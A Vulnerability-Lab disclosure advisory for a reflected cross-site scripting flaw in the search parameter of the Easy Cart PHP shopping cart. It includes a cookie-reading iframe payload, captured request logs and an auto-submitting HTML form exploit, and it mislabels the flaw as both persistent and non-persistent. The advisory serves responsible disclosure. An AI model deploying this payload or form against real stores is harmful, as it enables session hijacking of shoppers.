Easy Cart Shopping Cart 2021 Cross Site Scripting

`Document Title:  
===============  
Easy Cart Shopping Cart - (Search) Persistent Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2298  
  
  
Release Date:  
=============  
2021-12-15  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2298  
  
  
Common Vulnerability Scoring System:  
====================================  
5.1  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Non Persistent  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
A mobile-friendly, SEO optimized and easy-to-install (with a free installation also offered also on request) PHP shopping  
cart script that can be used to add an e-commerce functionality to existing sites or to create simple online stores.  
Easy Cart is a PHP script allowing to create a simple shopping cart website or integrate a shopping cart functionality  
in an existing site-the users will be able to browse the products, add them in the cart and check out and make a payment.  
  
(Copy of the Homepage:https://www.netartmedia.net/easy-cart )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a cross site scripting web vulnerability in the Easy Cart Shopping Cart PHP Script.  
  
  
Affected Product(s):  
====================  
NetArt Media  
Product: Easy Cart Shopping Cart (v2021) - CMS (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2021-09-01: Researcher Notification & Coordination (Security Researcher)  
2021-09-02: Vendor Notification (Security Department)  
2021-**-**: Vendor Response/Feedback (Security Department)  
2021-**-**: Vendor Fix/Patch (Service Developer Team)  
2021-**-**: Security Acknowledgements (Security Department)  
2021-12-15: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Pre Auth (No Privileges or Session)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Responsible Disclosure  
  
  
Technical Details & Description:  
================================  
A non-persistent post inject web vulnerability has been discovered in the official Easy Cart Shopping Cart PHP Script.  
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user  
session data or to manipulate application contents for clients.  
  
The cross site scripting web vulnerability is located in the `keyword_search` parameter of the `index search` module.  
Remote attackers without privileged access are able to inject own malicious script code in the search input field of  
the index module post method request. The execution takes place in the results page of the search after submit via post.  
  
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent  
external redirects to malicious source and non-persistent manipulation of affected application modules.  
  
Request method(s):  
[+] POST  
  
Vulnerable Input(s):  
[+] Search (index)  
  
Vulnerable Parameter(s):  
[+] keyword_search  
  
  
Proof of Concept (PoC):  
=======================  
The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.  
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Payload  
>"<iframe src=evil.source onload=alert(document.cookie)>  
  
  
--- PoC Session Logs (POST) ---  
https://easy-cart.localhost:8000/cart/index.php  
Host: easy-cart.localhost:8000  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 228  
Origin:https://easy-cart.localhost:8000  
Connection: keep-alive  
Referer:https://easy-cart.localhost:8000/cart/index.php  
Cookie: PHPSESSID=24d238178bfb19f9bd93f25f1b465885  
page=products&proceed_search=1&keyword_search=>"<iframe src=evil.source onload=alert(document.cookie)>&amount=$299 - $549&only_picture=0  
-  
POST: HTTP/2.0 200 OK  
server: Apache  
cache-control: no-store, no-cache, must-revalidate  
pragma: no-cache  
vary: Accept-Encoding  
content-encoding: gzip  
content-length: 2496  
content-type: text/html; charset=UTF-8  
-  
https://easy-cart.localhost:8000/cart/evil.source  
Host: easy-cart.localhost:8000  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Connection: keep-alive  
Referer:https://easy-cart.localhost:8000/cart/index.php  
Cookie: PHPSESSID=24d238178bfb19f9bd93f25f1b465885  
-  
GET: HTTP/2.0 200 OK  
server: Apache  
vary: Accept-Encoding  
content-encoding: gzip  
content-length: 703  
content-type: text/html; charset=UTF-8  
  
  
  
PoC: Exploit  
<html>  
<head>  
<title>PoC</title>  
<style type="text/css">  
#nodisplay {  
display:none;  
}  
</style>  
</head>  
<body>  
<div id="nodsiplay">  
<form action="https://easy-cart.localhost:8000/cart/index.php" method="post">  
<input type="text" name="keyword_search" value="><iframe src=evil.source onload=alert(document.cookie)>"/>  
</form>  
</div>  
<script>  
function submitForm() {  
document.forms[0].submit();  
}  
submitForm();  
</script>  
</body>  
</html>  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
Disclaimer & Information:  
=========================  
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
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`